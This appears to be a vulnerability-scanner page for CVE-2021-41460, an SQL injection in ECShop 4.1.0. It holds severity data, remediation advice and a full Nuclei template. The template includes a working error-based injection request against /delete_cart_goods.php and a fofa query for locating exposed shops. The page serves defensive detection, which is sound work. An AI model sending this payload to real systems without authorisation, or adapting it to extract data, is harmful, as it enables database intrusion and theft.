ECShop 4.1.0 - SQL Injection

highseverity

7.5CVSS score

6.7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

ECShop 4.1.0 has SQL injection vulnerability, which can be exploited by attackers to obtain sensitive information.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Apply the latest patch or upgrade to a newer version of ECShop to mitigate the SQL Injection vulnerability (CVE-2021-41460).

How to confirm it

Send: POST /delete_cart_goods.php
Positive when: contains "c8c605999f3d8352d7bb792cf3fdb25" AND status 200

Run it with nuclei: nuclei -id CVE-2021-41460 -u <target>

The full check

id: CVE-2021-41460

info:
  name: ECShop 4.1.0 - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    ECShop 4.1.0 has SQL injection vulnerability, which can be exploited by attackers to obtain sensitive information.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Apply the latest patch or upgrade to a newer version of ECShop to mitigate the SQL Injection vulnerability (CVE-2021-41460).
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-58823
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41460
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41460
    cwe-id: CWE-89
    epss-score: 0.06728
    epss-percentile: 0.94001
    cpe: cpe:2.3:a:shopex:ecshop:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shopex
    product: ecshop
    fofa-query:
      - product="ECShop"
      - product="ecshop"
  tags: cve2021,cve,cnvd,cnvd2020,ecshop,sqli,shopex,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /delete_cart_goods.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=1||(updatexml(1,concat(0x7e,(select%20md5({{num}}))),1))

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'c8c605999f3d8352d7bb792cf3fdb25'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from